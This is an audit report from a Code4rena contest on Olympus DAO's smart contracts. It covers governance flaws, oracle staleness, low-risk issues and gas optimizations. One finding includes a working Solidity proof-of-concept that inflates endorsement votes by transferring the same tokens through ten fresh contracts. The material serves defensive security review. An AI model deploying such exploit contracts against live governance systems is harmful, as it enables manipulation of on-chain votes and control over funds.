Olympus DAO contest - 0x1f8b's results

Lines of code

https://github.com/code-423n4/2022-08-olympus/blob/b5e139d732eb4c07102f149fb9426d356af617aa/src/policies/Governance.sol#L167 https://github.com/code-423n4/2022-08-olympus/blob/b5e139d732eb4c07102f149fb9426d356af617aa/src/policies/Governance.sol#L66

Vulnerability details

Impact

It is possible to overwrite proposals in certain circumstances. The method Governance.submitProposal doesn't check if the proposalId (stored in a different contract) exists already as a valid proposal in getProposalMetadata.

Proof of Concept

If the project update the kernel module "INSTR" and reconfigure proposals and call INSTR.store(instructions_);, the counter may return a proposalId of an existing proposal and overwrite an existing previous one.

This is due to the fact that the proposals are saved in a mapping of a contract that is not related to the one that returns the counters, and furthermore, they do not check that the record already exists.

        uint256 proposalId = INSTR.store(instructions_);
        getProposalMetadata[proposalId] = ProposalMetadata(
            title_,
            msg.sender,
            block.timestamp,
            proposalURI_
        );

Recommended Mitigation Steps

• Store the proposal metadata in the same INSTR contract or ensure that the proposal doesn't exists.

Assets not at direct risk, but the function of the protocol or its availability could be impacted, or leak value with a hypothetical attack path with stated assumptions, but external requirements.

Lines of code

https://github.com/code-423n4/2022-08-olympus/blob/b5e139d732eb4c07102f149fb9426d356af617aa/src/policies/Governance.sol#L180

Vulnerability details

Impact

Because when endorsing a proposal, the sender's vote balance is checked, but these votes are not locked, nor are the user's endorsements eliminated when transferred, if a user who endorses 1 vote, then transfers that vote for another user, and this user also endorses, it will make the proposal have a total of 2 votes in endorsement only with one vote.

    function endorseProposal(uint256 proposalId_) external {
        uint256 userVotes = VOTES.balanceOf(msg.sender);

        if (proposalId_ == 0) {
            revert CannotEndorseNullProposal();
        }

        Instruction[] memory instructions = INSTR.getInstructions(proposalId_);
        if (instructions.length == 0) {
            revert CannotEndorseInvalidProposal();
        }

        // undo any previous endorsement the user made on these instructions
        uint256 previousEndorsement = userEndorsementsForProposal[proposalId_][msg.sender];
        totalEndorsementsForProposal[proposalId_] -= previousEndorsement;

        // reapply user endorsements with most up-to-date votes
        userEndorsementsForProposal[proposalId_][msg.sender] = userVotes;
        totalEndorsementsForProposal[proposalId_] += userVotes;

        emit ProposalEndorsed(proposalId_, msg.sender, userVotes);
    }

Proof of Concept

With the following contract, 10 contracts will be created and they will reuse the same votes, in order to increase the voting power.

pragma solidity =0.8.15;

interface iGov
{
    function endorseProposal(uint256 proposalId_) external;
}

interface ERC20
{
    function transfer(address to, uint bal) external returns (bool);
}

contract payload 
{
    function attack(ERC20 token, iGov gov, uint proposalId, uint votes) public
    {
        gov.endorseProposal(proposalId);    // endorse proposal
        token.transfer(msg.sender, votes);  // return funds back
    }
}

contract exploit 
{
    function attack(ERC20 token, iGov gov, uint proposalId, uint votes) public  
    {
        for (uint x; x < 10; ++x)
        {
            payload p = new payload();
            token.transfer(address(p), votes); // transfer funds to the payload
            p.attack(token, gov, proposalId, votes);
        }
    }
}

Recommended Mitigation Steps

• Lock the amount until finish the vote period.

Lines of code

https://github.com/code-423n4/2022-08-olympus/blob/b5e139d732eb4c07102f149fb9426d356af617aa/src/policies/Governance.sol#L240 https://github.com/code-423n4/2022-08-olympus/blob/b5e139d732eb4c07102f149fb9426d356af617aa/src/policies/Governance.sol#L265

Vulnerability details

Impact

Governance.vote and Governance.executeProposal are vulnerables to front-running attacks.

Proof of Concept

In Governance contract, the methods vote and executeProposal uses activeProposal to know which proposal to interact with, instead of using an argument received by the user.

The problem with this pattern is that when the tx arrives in the pool, it could be a different proposal ID, due to an attack or because the normal platform is used, making it vulnerable to a front-running attack.

    function vote(bool for_) external {
        uint256 userVotes = VOTES.balanceOf(msg.sender);

        if (activeProposal.proposalId == 0) {
            revert NoActiveProposalDetected();
        }

        if (userVotesForProposal[activeProposal.proposalId][msg.sender] > 0) {
            revert UserAlreadyVoted();
        }

        if (for_) {
            yesVotesForProposal[activeProposal.proposalId] += userVotes;
        } else {
            noVotesForProposal[activeProposal.proposalId] += userVotes;
        }

        userVotesForProposal[activeProposal.proposalId][msg.sender] = userVotes;

        VOTES.transferFrom(msg.sender, address(this), userVotes);

        emit WalletVoted(activeProposal.proposalId, msg.sender, for_, userVotes);
    }

If the user votes for proposal 1, which is the active one, but his tx arrives due to gas problems when this scenario has changed and now it is proposal 2 the active one, the user will have voted for a different proposal than the one desired.

Recommended Mitigation Steps

• Add proposalId as an argument.

Lines of code

https://github.com/code-423n4/2022-08-olympus/blob/2a0b515012b4a40076f6eac487f7816aafb8724a/src/modules/PRICE.sol#L161 https://github.com/code-423n4/2022-08-olympus/blob/2a0b515012b4a40076f6eac487f7816aafb8724a/src/modules/PRICE.sol#L170

Vulnerability details

Vulnerability

In PRICE.getCurrentPrice, we are using latestRoundData, but there are no validations that the data is not stale.

The current code is:

    function getCurrentPrice() public view returns (uint256) {
        if (!initialized) revert Price_NotInitialized();
        // Get prices from feeds
        uint256 ohmEthPrice;
        uint256 reserveEthPrice;
        {
            (, int256 ohmEthPriceInt, , uint256 updatedAt, ) = _ohmEthPriceFeed.latestRoundData();
            // Use a multiple of observation frequency to determine what is too old to use.
            // Price feeds will not provide an updated answer if the data doesn't change much.
            // This would be similar to if the feed just stopped updating; therefore, we need a cutoff.
            if (updatedAt < block.timestamp - 3 * uint256(observationFrequency))
                revert Price_BadFeed(address(_ohmEthPriceFeed));
            ohmEthPrice = uint256(ohmEthPriceInt);

            int256 reserveEthPriceInt;
            (, reserveEthPriceInt, , updatedAt, ) = _reserveEthPriceFeed.latestRoundData();
            if (updatedAt < block.timestamp - uint256(observationFrequency))
                revert Price_BadFeed(address(_reserveEthPriceFeed));
            reserveEthPrice = uint256(reserveEthPriceInt);
        }
        // Convert to OHM/RESERVE price
        uint256 currentPrice = (ohmEthPrice * _scaleFactor) / reserveEthPrice;
        return currentPrice;
    }

But is missing the checks to validate the data is stale:

-           (, int256 ohmEthPriceInt, , uint256 updatedAt, ) = _ohmEthPriceFeed.latestRoundData();
+           (uint80 round, int256 ohmEthPriceInt, , uint256 updatedAt, uint80 answeredInRound) = _ohmEthPriceFeed.latestRoundData();
            // Use a multiple of observation frequency to determine what is too old to use.
            // Price feeds will not provide an updated answer if the data doesn't change much.
            // This would be similar to if the feed just stopped updating; therefore, we need a cutoff.
+           if (ohmEthPriceInt <= 0 || answeredInRound < round)
+               revert Price_BadFeed(address(_ohmEthPriceFeed));
            if (updatedAt < block.timestamp - 3 * uint256(observationFrequency))
                revert Price_BadFeed(address(_ohmEthPriceFeed));
            ohmEthPrice = uint256(ohmEthPriceInt);

            int256 reserveEthPriceInt;
-           (, reserveEthPriceInt, , updatedAt, ) = _reserveEthPriceFeed.latestRoundData();
+           (uint80 round, reserveEthPriceInt, , updatedAt, uint80 answeredInRound) = _reserveEthPriceFeed.latestRoundData();
+           if (reserveEthPriceInt <= 0 || answeredInRound < round)
+               revert Price_BadFeed(address(_ohmEthPriceFeed));
            if (updatedAt < block.timestamp - uint256(observationFrequency))
                revert Price_BadFeed(address(_reserveEthPriceFeed));
            reserveEthPrice = uint256(reserveEthPriceInt);

Note that an inaccurate price data could quickly lead to a large loss of funds.

• Low
  • 1. Outdated compiler
  • 2. Wrong comment
  • 3. Lack of checks
  • 4. Open TODO
  • 5. Lack of event emmit
  • 6. Unsafe math
• Non critical
  • 7. Codding style
    • Use a different file name than the contract name
  • 8. Integer overflow as error is not user friendly

Low

1. Outdated compiler

The pragma version used are:

pragma solidity >=0.8.0;
pragma solidity 0.8.15;

The minimum required version must be 0.8.16; otherwise, contracts will be affected by the following important bug fixes:

0.8.3:

• Optimizer: Fix bug on incorrect caching of Keccak-256 hashes.

0.8.4:

• ABI Decoder V2: For two-dimensional arrays and specially crafted data in memory, the result of abi.decode can depend on data elsewhere in memory. Calldata decoding is not affected.

0.8.9:

• Immutables: Properly perform sign extension on signed immutables.
• User Defined Value Type: Fix storage layout of user defined value types for underlying types shorter than 32 bytes.

0.8.13:

• Code Generator: Correctly encode literals used in abi.encodeCall in place of fixed bytes arguments.

0.8.14:

• ABI Encoder: When ABI-encoding values from calldata that contain nested arrays, correctly validate the nested array length against calldatasize() in all cases.
• Override Checker: Allow changing data location for parameters only when overriding external functions.

0.8.15

• Code Generation: Avoid writing dirty bytes to storage when copying bytes arrays.
• Yul Optimizer: Keep all memory side-effects of inline assembly blocks.

0.8.16

• Code Generation: Fix data corruption that affected ABI-encoding of calldata values represented by tuples: structs at any nesting level; argument lists of external functions, events and errors; return value lists of external functions. The 32 leading bytes of the first dynamically-encoded value in the tuple would get zeroed when the last component contained a statically-encoded array.

Apart from these, there are several minor bug fixes and improvements.

2. Wrong comment

The comment of the ensureValidRole method of the KernelUtils contract is either incorrect or the logic does not match the comment, since the character '\0' and '_' are allowed, both of which are not mentioned in the comment.

Recommended change:

        if ((char < 0x61 || char > 0x7A) && char != 0x5f && char != 0x00) {
-           revert InvalidRole(role_); // a-z only
+           revert InvalidRole(role_); // a-z, _ or \0 only
        }

Affected source code:

• KernelUtils.sol:61

3. Lack of checks

The following methods have a lack checks if the received argument is an address, it's good practice in order to reduce human error to check that the address specified in the constructor or initialize is different than address(0).

Affected source code for address(0):

• MINTR.sol:16
• TRSRY.sol:65
• TRSRY.sol:66
• TRSRY.sol:76
• TRSRY.sol:77
• TRSRY.sol:92
• TRSRY.sol:105
• TRSRY.sol:123
• TRSRY.sol:124
• TRSRY.sol:138
• TRSRY.sol:139
• Heart.sol:56
• Heart.sol:57
• Heart.sol:140
• Heart.sol:150
• Kernel.sol:66
• Kernel.sol:77

Affected source code for array checks:

The method submitProposal in the Governance contract doesn't check that the instructions array is empty. This check will be done in endorseProposal, so it's not needed to allow an empty proposal.

Recommended change:

        if (instructions_.length == 0) {
            revert CannotEndorseInvalidProposal();
        }

• Governance.sol:160

4. Open TODO

The code that contains "open todos" reflects that the development is not finished and that the code can change a posteriori, prior release, with or without audit.

Affected source code:

// TODO Currently allows anyone to revoke any approval EXCEPT activated policies.

• TreasuryCustodian.sol:51

// TODO must reorg policy storage to be able to check for deactivated policies.

• TreasuryCustodian.sol:52

// TODO Make sure policy_ is an actual policy and not a random address.

• TreasuryCustodian.sol:56

// TODO determine if this should use the last price from the MA or recalculate the current price, ideally last price is ok since it should have been just updated and should include check against secondary?

• Operator.sol:657

5. Lack of event emmit

The Kernel.setActiveStatus method does not emit an event when setting the isActive state variable, something that it's very important for dApps and users.

Affected source code:

• Kernel.sol:127

6. Unsafe math

The RANGE contract has regenerate and updatePrices methods where a user-supplied argument can be passed as zero to the multiply operation.

This will affect range prices, so funds and trades could be affected if the allowed account decides to call this argument with 0 values.

Reference:

• https://slowmist.medium.com/analysis-of-the-treasuredao-zero-fee-exploit-73791f4b9c14

Affected source code:

• RANGE.sol:164
• RANGE.sol:165
• RANGE.sol:167
• RANGE.sol:169
• RANGE.sol:185

---

Non critical

7. Codding style

Use a different file name than the contract name

This is a terrible practice that reduces the readability and auditability of the code.

Affected source code:

• OlympusPriceConfig is PriceConfig.sol
• OlympusInstructions is INSTR.sol
• OlympusTreasury is TRSRY.sol
• OlympusMinter is MINTR.sol
• OlympusPrice is PRICE.sol
• OlympusRange is RANGE.sol
• OlympusVotes is VOTES.sol
• OlympusHeart is Heart.sol

8. Integer overflow as error is not user friendly

In the method executeProposal of Governance contract, an oveflow is raised when there are more NO votes than YES, that's not a good practice an it make worse the user experience, it's better to control this kind of errors in order to show an custom error.

    function executeProposal() external {
        uint256 netVotes = yesVotesForProposal[activeProposal.proposalId] -
            noVotesForProposal[activeProposal.proposalId];

Affected source code:

• Governance.sol:266-267

• Gas
  • 1. Don't use the length of an array for loops condition
  • 2. Reduce boolean comparison
    • Total gas saved: 18 * 2 = 36
  • 3. Avoid compound assignment operator in state variables
    • Total gas saved: 13 * 18 = 234
  • 4. Shift right instead of dividing by 2
    • Total gas saved: 172 * 2 = 344
  • 5. ++i costs less gas compared to i++ or i += 1
  • 6. There's no need to set default values for variables
    • Total gas saved: 8 * 2 = 16
  • 7. Change bool to uint256 can save gas
  • 8. Optimize KEYCODE
    • Optimize MINTR.KEYCODE
    • Optimize INSTR.KEYCODE
    • Optimize VOTES.KEYCODE
    • Optimize PRICE.KEYCODE
    • Optimize TRSRY.KEYCODE
    • Optimize RANGE.KEYCODE
  • 9. Optimize requestPermissions
    • Optimize OlympusPriceConfig.requestPermissions
    • Optimize VoterRegistration.requestPermissions
  • 10. Optimize configureDependencies using immutable
    • Optimize OlympusPriceConfig.configureDependencies
    • Optimize TreasuryCustodian.configureDependencies
    • Optimize BondCallback.configureDependencies
    • Optimize Governance.configureDependencies
    • Optimize Operator.configureDependencies
  • 11. Avoid storage use
  • 12. Use inline instead of a method
  • 13. Gas saving using immutable
  • 14. Avoid public constants
  • 15. Reduce math operations
    • Optimize Governance.submitProposal
    • Optimize Governance.activateProposal
    • Optimize Governance.executeProposal
    • Optimize Operator._activate
  • 16. Use calldata instead of memory
  • 17. Optimze instructions order
    • Optimize Governance.endorseProposal
    • Optimize Governance.endorseProposal
  • 18. Optimze Governance storage
  • 19. delete optimization
    • Total gas saved: 5 * 1 = 5
  • 20. Optimize Operator.bondPurchase
  • 21. Optimize Operator refactoring some methods
  • 22. Optimize Operator.setRegenParams and Operator._regenerate

Gas

1. Don't use the length of an array for loops condition

It's cheaper to store the length of the array inside a local variable and iterate over it.

Affected source code:

• Governance.sol:278

2. Reduce boolean comparison

It's compared a boolean value using == true or == false, instead of using the boolean value. NOT opcode, it's cheaper to use EQUAL or NOTEQUAL when the value it's false, or just the value without == true when it's true, because it will use less opcodes inside the VM.

Proof of concept (without optimizations):

pragma solidity 0.8.16;

contract TesterA {
function testEqual(bool a) public view returns (bool) { return a == true; }
}

contract TesterB {
function testNot(bool a) public view returns (bool) { return a; }
}

Gas saving executing: 18 per entry for == true

TesterA.testEqual:   21814
TesterB.testNot:     21796   

pragma solidity 0.8.16;

contract TesterA {
function testEqual(bool a) public view returns (bool) { return a == false; }
}

contract TesterB {
function testNot(bool a) public view returns (bool) { return !a; }
}

Gas saving executing: 15 per entry for == false

TesterA.testEqual:   21814 
TesterB.testNot:     21799

Affected source code:

Use the value instead of == true:

• Governance.sol:223
• Governance.sol:306

Total gas saved: 18 * 2 = 36

3. Avoid compound assignment operator in state variables

Using compound assignment operator for state variables (like State += X or State -= X ...) it's more expensive than use operator assignment (like State = State + X or State = State - X ...).

Proof of concept (without optimizations):

pragma solidity 0.8.15;

contract TesterA {
uint private _a;
function testShort() public {
 _a += 1;
}
}

contract TesterB {
uint private _a;
function testLong() public {
 _a = _a + 1;
}
}

Gas saving executing: 13 per entry

TesterA.testShort: 43507
TesterB.testLong:  43494

Affected source code:

• PRICE.sol:136
• PRICE.sol:138
• PRICE.sol:222
• TRSRY.sol:96
• TRSRY.sol:97
• TRSRY.sol:115
• TRSRY.sol:116
• TRSRY.sol:131
• TRSRY.sol:132
• VOTES.sol:56
• VOTES.sol:58
• BondCallback.sol:143
• BondCallback.sol:144
• Governance.sol:194
• Governance.sol:198
• Governance.sol:252
• Governance.sol:254
• Heart.sol:103

Total gas saved: 13 * 18 = 234

4. Shift right instead of dividing by 2

Shifting one to the right will calculate a division by two.

he SHR opcode only requires 3 gas, compared to the DIV opcode's consumption of 5. Additionally, shifting is used to get around Solidity's division operation's division-by-0 prohibition.

Proof of concept (without optimizations):

pragma solidity 0.8.15;

contract TesterA {
 function testDiv(uint a) public returns (uint) { return a / 2; }
}

contract TesterB {
 function testShift(uint a) public returns (uint) { return a >> 1; }
}

Gas saving executing: 172 per entry

TesterA.testDiv:    21965
TesterB.testShift:  21793   

Affected source code:

• Operator.sol:372
• Operator.sol:427

Total gas saved: 172 * 2 = 344

5. ++i costs less gas compared to i++ or i += 1

++i costs less gas compared to i++ or i += 1 for unsigned integer, as pre-increment is cheaper (about 5 gas per iteration). This statement is true even with the optimizer enabled.

i++ increments i and returns the initial value of i. Which means:

uint i = 1;
i++; // == 1 but i == 2

But ++i returns the actual incremented value:

uint i = 1;
++i; // == 2 and i == 2 too, so no need for a temporary variable

In the first case, the compiler has to create a temporary variable (when used) for returning 1 instead of 2 I suggest using ++i instead of i++ to increment the value of an uint variable. Same thing for --i and i--

Keep in mind that this change can only be made when we are not interested in the value returned by the operation, since the result is different, you only have to apply it when you only want to increase a counter.

Affected source code:

• Operator.sol:488
• Operator.sol:670
• Operator.sol:675
• Operator.sol:686
• Operator.sol:691
• KernelUtils.sol:49
• KernelUtils.sol:64

6. There's no need to set default values for variables

If a variable is not set/initialized, the default value is assumed (0, false, 0x0 ... depending on the data type). You are simply wasting gas if you directly initialize it with its default value.

Proof of concept (without optimizations):

pragma solidity 0.8.15;

contract TesterA {
function testInit() public view returns (uint) { uint a = 0; return a; }
}

contract TesterB {
function testNoInit() public view returns (uint) { uint a; return a; }
}

Gas saving executing: 8 per entry

TesterA.testInit:   21392
TesterB.testNoInit: 21384   

Affected source code:

• KernelUtils.sol:43
• KernelUtils.sol:58

Total gas saved: 8 * 2 = 16

7. Change bool to uint256 can save gas

Because each write operation requires an additional SLOAD to read the slot's contents, replace the bits occupied by the boolean, and then write back, booleans are more expensive than uint256 or any other type that uses a complete word. This cannot be turned off because it is the compiler's defense against pointer aliasing and contract upgrades.

Reference:

• https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/security/ReentrancyGuard.sol#L23-L27

Also, this is applicable to integer types different than uint256 or int56.

Affected source code for booleans:

• IOperator.sol:34
• Heart.sol:33
• Governance.sol:105
• Governance.sol:117
• Operator.sol:63
• Operator.sol:66

Affected source code for integers:

• PRICE.sol:44
• PRICE.sol:47
• PRICE.sol:50
• PRICE.sol:53
• PRICE.sol:56
• PRICE.sol:62

8. Optimize KEYCODE

It is possible to optimize the KEYCODE method from the Module contract as shown below, or send the keycode to the base constructor to use the immutable in the base contract, as shown below.

abstract contract Module is KernelAdapter {
    KeyCode private immutable _KEYCODE;
    constructor(Kernel kernel_, string memory keycode) KernelAdapter(kernel_) { 
        _KEYCODE = toKeycode("MINTR");
    }
    function KEYCODE() public pure virtual returns (Keycode) { return _KEYCODE; }
    ...
}
contract OlympusTreasury is Module, ReentrancyGuard { ...
    constructor(Kernel kernel_) Module(kernel_, "PRICE") {}
    ...
}

Optimize MINTR.KEYCODE

Recommended changes:

+   KeyCode private immutable _KEYCODE = toKeycode("MINTR");
    function KEYCODE() public pure override returns (Keycode) {
+       return _KEYCODE;
-       return toKeycode("MINTR");
    }

Affected source code:

• MINTR.sol:20-22

Optimize INSTR.KEYCODE

Recommended changes:

+   KeyCode private immutable _KEYCODE = toKeycode("INSTR");
    function KEYCODE() public pure override returns (Keycode) {
+       return _KEYCODE;
-       return toKeycode("INSTR");
    }

Affected source code:

• INSTR.sol:24

Optimize VOTES.KEYCODE

Recommended changes:

+   KeyCode private immutable _KEYCODE = toKeycode("VOTES");
    function KEYCODE() public pure override returns (Keycode) {
+       return _KEYCODE;
-       return toKeycode("VOTES");
    }

Affected source code:

• VOTES.sol:23

Optimize PRICE.KEYCODE

Recommended changes:

+   KeyCode private immutable _KEYCODE = toKeycode("PRICE");
    function KEYCODE() public pure override returns (Keycode) {
+       return _KEYCODE;
-       return toKeycode("PRICE");
    }

Affected source code:

• PRICE.sol:109

Optimize TRSRY.KEYCODE

Recommended changes:

+   KeyCode private immutable _KEYCODE = toKeycode("TRSRY");
    function KEYCODE() public pure override returns (Keycode) {
+       return _KEYCODE;
-       return toKeycode("TRSRY");
    }

Affected source code:

• TRSRY.sol:48

Optimize RANGE.KEYCODE

Recommended changes:

+   KeyCode private immutable _KEYCODE = toKeycode("RANGE");
    function KEYCODE() public pure override returns (Keycode) {
+       return _KEYCODE;
-       return toKeycode("RANGE");
    }

Affected source code:

• RANGE.sol:111

9. Optimize requestPermissions

Optimize OlympusPriceConfig.requestPermissions

Recommended changes:

    function requestPermissions()
        external
        view
        override
        returns (Permissions[] memory permissions)
    {
        permissions = new Permissions[](3);
+       Keycode priceCode = PRICE.KEYCODE();
+       permissions[0] = Permissions(priceCode, PRICE.initialize.selector);
+       permissions[1] = Permissions(priceCode, PRICE.changeMovingAverageDuration.selector);
+       permissions[2] = Permissions(priceCode, PRICE.changeObservationFrequency.selector);
-       permissions[0] = Permissions(PRICE.KEYCODE(), PRICE.initialize.selector);
-       permissions[1] = Permissions(PRICE.KEYCODE(), PRICE.changeMovingAverageDuration.selector);
-       permissions[2] = Permissions(PRICE.KEYCODE(), PRICE.changeObservationFrequency.selector);
    }

Affected source code:

• PriceConfig.sol:32-34

Optimize VoterRegistration.requestPermissions

Recommended changes:

    function requestPermissions()
        external
        view
        override
        returns (Permissions[] memory permissions)
    {
        permissions = new Permissions[](2);
+       Keycode votesCode = VOTES.KEYCODE();
+       permissions[0] = Permissions(votesCode, VOTES.mintTo.selector);
+       permissions[1] = Permissions(votesCode, VOTES.burnFrom.selector);
-       permissions[0] = Permissions(VOTES.KEYCODE(), VOTES.mintTo.selector);
-       permissions[1] = Permissions(VOTES.KEYCODE(), VOTES.burnFrom.selector);
    }

Affected source code:

• VoterRegistration.sol:27-36

10. Optimize configureDependencies using immutable

Optimize OlympusPriceConfig.configureDependencies

Recommended changes:

+   KeyCode private immutable PRICE_CODE = toKeycode("PRICE");

    function configureDependencies() external override returns (Keycode[] memory dependencies) {
        dependencies = new Keycode[](1);
-       dependencies[0] = toKeycode("PRICE");
+       dependencies[0] = PRICE_CODE;

        PRICE = OlympusPrice(getModuleAddress(dependencies[0]));
    }

Affected source code:

• PriceConfig.sol:20

Optimize TreasuryCustodian.configureDependencies

Recommended changes:

+   KeyCode private immutable PRICE_CODE = toKeycode("TRSRY");

    function configureDependencies() external override returns (Keycode[] memory dependencies) {
        dependencies = new Keycode[](1);
+       dependencies[0] = PRICE_CODE;
-       dependencies[0] = toKeycode("TRSRY");

        TRSRY = OlympusTreasury(getModuleAddress(dependencies[0]));
    }

Affected source code:

• TreasuryCustodian.sol:29

Optimize BondCallback.configureDependencies

+   KeyCode private immutable dep0 = toKeycode("TRSRY");
+   KeyCode private immutable dep1 = toKeycode("MINTR");

    function configureDependencies() external override returns (Keycode[] memory dependencies) {
        dependencies = new Keycode[](2);
-       dependencies[0] = toKeycode("TRSRY");
-       dependencies[1] = toKeycode("MINTR");
+       dependencies[0] = dep0;
+       dependencies[1] = dep1;

-       TRSRY = OlympusTreasury(getModuleAddress(dependencies[0]));
-       MINTR = OlympusMinter(getModuleAddress(dependencies[1]));
+       TRSRY = OlympusTreasury(getModuleAddress(dep0));
+       MINTR = OlympusMinter(getModuleAddress(dep1));

        // Approve MINTR for burning OHM (called here so that it is re-approved on updates)
        ohm.safeApprove(address(MINTR), type(uint256).max);
    }

Affected source code:

• BondCallback.sol:50-51

Optimize Governance.configureDependencies

+   KeyCode private immutable dep0 = toKeycode("INSTR");
+   KeyCode private immutable dep1 = toKeycode("VOTES");

    function configureDependencies() external override returns (Keycode[] memory dependencies) {
        dependencies = new Keycode[](2);
-       dependencies[0] = toKeycode("INSTR");
-       dependencies[1] = toKeycode("VOTES");
+       dependencies[0] = dep0;
+       dependencies[1] = dep1;

-       INSTR = OlympusInstructions(getModuleAddress(dependencies[0]));
-       VOTES = OlympusVotes(getModuleAddress(dependencies[1]));
+       INSTR = OlympusInstructions(getModuleAddress(dep0));
+       VOTES = OlympusVotes(getModuleAddress(dep1));
    }

Affected source code:

• Governance.sol:61-68

Optimize Operator.configureDependencies

+   KeyCode private immutable dep0 = toKeycode("PRICE");
+   KeyCode private immutable dep1 = toKeycode("RANGE");
+   KeyCode private immutable dep2 = toKeycode("TRSRY");
+   KeyCode private immutable dep3 = toKeycode("MINTR");

    function configureDependencies() external override returns (Keycode[] memory dependencies) {
        dependencies = new Keycode[](4);
-       dependencies[0] = toKeycode("PRICE");
-       dependencies[1] = toKeycode("RANGE");
-       dependencies[2] = toKeycode("TRSRY");
-       dependencies[3] = toKeycode("MINTR");
+       dependencies[0] = dep0;
+       dependencies[1] = dep1;
+       dependencies[2] = dep2;
+       dependencies[3] = dep3;

-       PRICE = OlympusPrice(getModuleAddress(dependencies[0]));
-       RANGE = OlympusRange(getModuleAddress(dependencies[1]));
-       TRSRY = OlympusTreasury(getModuleAddress(dependencies[2]));
-       MINTR = OlympusMinter(getModuleAddress(dependencies[3]));
+       PRICE = OlympusPrice(getModuleAddress(dep0));
+       RANGE = OlympusRange(getModuleAddress(dep1));
+       TRSRY = OlympusTreasury(getModuleAddress(dep2));
+       MINTR = OlympusMinter(getModuleAddress(dep3));

        /// Approve MINTR for burning OHM (called here so that it is re-approved on updates)
        ohm.safeApprove(address(MINTR), type(uint256).max);
    }

Affected source code:

• Operator.sol:154-168

11. Avoid storage use

It is possible to avoid storage accesses by taking advantage of memory variables that have the same value, as shown below.

Recommended changes:

    constructor(
        Kernel kernel_,
        AggregatorV2V3Interface ohmEthPriceFeed_,
        AggregatorV2V3Interface reserveEthPriceFeed_,
        uint48 observationFrequency_,
        uint48 movingAverageDuration_
    ) Module(kernel_) {
        /// @dev Moving Average Duration should be divisible by Observation Frequency to get a whole number of observations
        if (movingAverageDuration_ == 0 || movingAverageDuration_ % observationFrequency_ != 0)
            revert Price_InvalidParams();

        // Set price feeds, decimals, and scale factor
        _ohmEthPriceFeed = ohmEthPriceFeed_;
-       uint8 ohmEthDecimals = _ohmEthPriceFeed.decimals();
+       uint8 ohmEthDecimals = ohmEthPriceFeed_.decimals();

        _reserveEthPriceFeed = reserveEthPriceFeed_;
-       uint8 reserveEthDecimals = _reserveEthPriceFeed.decimals();
+       uint8 reserveEthDecimals = reserveEthPriceFeed_.decimals();

Affected source code:

• PRICE.sol:84
• PRICE.sol:87

12. Use inline instead of a method

The following methods can be moved to inline calls without greatly affecting readability, this will increase the performance of the contract.

Recommended changes:

    function beat() external nonReentrant {
        ...

        // Issue reward to sender
-       _issueReward(msg.sender);
+       rewardToken.safeTransfer(msg.sender, reward);
+       emit RewardIssued(msg.sender, reward);
        emit Beat(block.timestamp);
    }

-   function _issueReward(address to_) internal {
-       rewardToken.safeTransfer(to_, reward);
-       emit RewardIssued(to_, reward);
-   }

Affected source code:

• Heart.sol:111-114

13. Gas saving using immutable

It's possible to avoid storage access a save gas using immutable keyword for the following variables:

It's also better to remove the initial values, because they will be set during the constructor.

Affected source code:

• BondCallback.sol:28
• BondCallback.sol:32

14. Avoid public constants

The number of public methods increase the bytecode of the contract, in addition to the possible attack vectors, reducing the number to the minimum necessary for the contract to work normally is a good practice for both security and gas savings.

It can be more efficient to change constants that shouldn't be made public to private or internal to stay away from pointless getter functions.

Affected source code:

• Operator.sol:89
• PRICE.sol:59
• RANGE.sol:65
• RANGE.sol:65
• Governance.sol:121
• Governance.sol:124
• Governance.sol:127
• Governance.sol:130
• Governance.sol:133
• Governance.sol:137

15. Reduce math operations

Optimize Governance.submitProposal

It is possible to reduce the condition of the submitProposal method in the following way, since it is not necessary to multiply in both places.

function submitProposal(
        Instruction[] calldata instructions_,
        bytes32 title_,
        string memory proposalURI_
    ) external {
-       if (VOTES.balanceOf(msg.sender) * 10000 < VOTES.totalSupply() * SUBMISSION_REQUIREMENT)
+       if (VOTES.balanceOf(msg.sender) * SUBMISSION_REQUIREMENT < VOTES.totalSupply())
            revert NotEnoughVotesToPropose();

Affected source code:

• Governance.sol:164

Optimize Governance.activateProposal

    function activateProposal(uint256 proposalId_) external {
        ...
        if (
-           (totalEndorsementsForProposal[proposalId_] * 100) <
-           VOTES.totalSupply() * ENDORSEMENT_THRESHOLD
+           (totalEndorsementsForProposal[proposalId_] * 50) <
+           VOTES.totalSupply()
        ) {
            revert NotEnoughEndorsementsToActivateProposal();
        }
        ...
    }

Affected source code:

• Governance.sol:217-218

Optimize Governance.executeProposal

-       if (netVotes * 100 < VOTES.totalSupply() * EXECUTION_THRESHOLD) {
+       if (netVotes * 3 < VOTES.totalSupply()) {
            revert NotEnoughVotesToExecute();
        }

Affected source code:

• Governance.sol:268

Optimize Operator._activate

It's possible to avoid the duplicate operation of 10**(oracleDecimals * 2) like following:

-           uint256 invCushionPrice = 10**(oracleDecimals * 2) / range.cushion.low.price;
-           uint256 invWallPrice = 10**(oracleDecimals * 2) / range.wall.low.price;
+           uint256 invCushionPrice = 10**(oracleDecimals * 2);
+           uint256 invWallPrice = invCushionPrice / range.wall.low.price;
+           invCushionPrice /= range.cushion.low.price;

Affected source code:

• Operator.sol:419-420

16. Use calldata instead of memory

The method propose is external, and the arguments are defined as memory instead of as calldata.

By marking the function as external it is possible to use calldata in the arguments shown below and save significant gas.

Recommended change:

    function submitProposal(
        Instruction[] calldata instructions_,
        bytes32 title_,
-       string memory proposalURI_
+       string calldata proposalURI_
    ) external {
   ...
   }

Affected source code:

• Governance.sol:162

17. Optimze instructions order

It is recommended to always perform input or parameter checks first, from cheapest to most expensive. Avoiding making external calls or unnecessary costly tasks for the cases to be verified.

Optimize Governance.endorseProposal

Recommended change:

    function endorseProposal(uint256 proposalId_) external {
-       uint256 userVotes = VOTES.balanceOf(msg.sender);

        if (proposalId_ == 0) {
            revert CannotEndorseNullProposal();
        }

        Instruction[] memory instructions = INSTR.getInstructions(proposalId_);
        if (instructions.length == 0) {
            revert CannotEndorseInvalidProposal();
        }

        // undo any previous endorsement the user made on these instructions
        uint256 previousEndorsement = userEndorsementsForProposal[proposalId_][msg.sender];
        totalEndorsementsForProposal[proposalId_] -= previousEndorsement;

        // reapply user endorsements with most up-to-date votes
+       uint256 userVotes = VOTES.balanceOf(msg.sender);
        userEndorsementsForProposal[proposalId_][msg.sender] = userVotes;
        totalEndorsementsForProposal[proposalId_] += userVotes;

        emit ProposalEndorsed(proposalId_, msg.sender, userVotes);
    }

Affected source code:

• Governance.sol:181

Optimize Governance.endorseProposal

Recommended change:

    function vote(bool for_) external {
-       uint256 userVotes = VOTES.balanceOf(msg.sender);
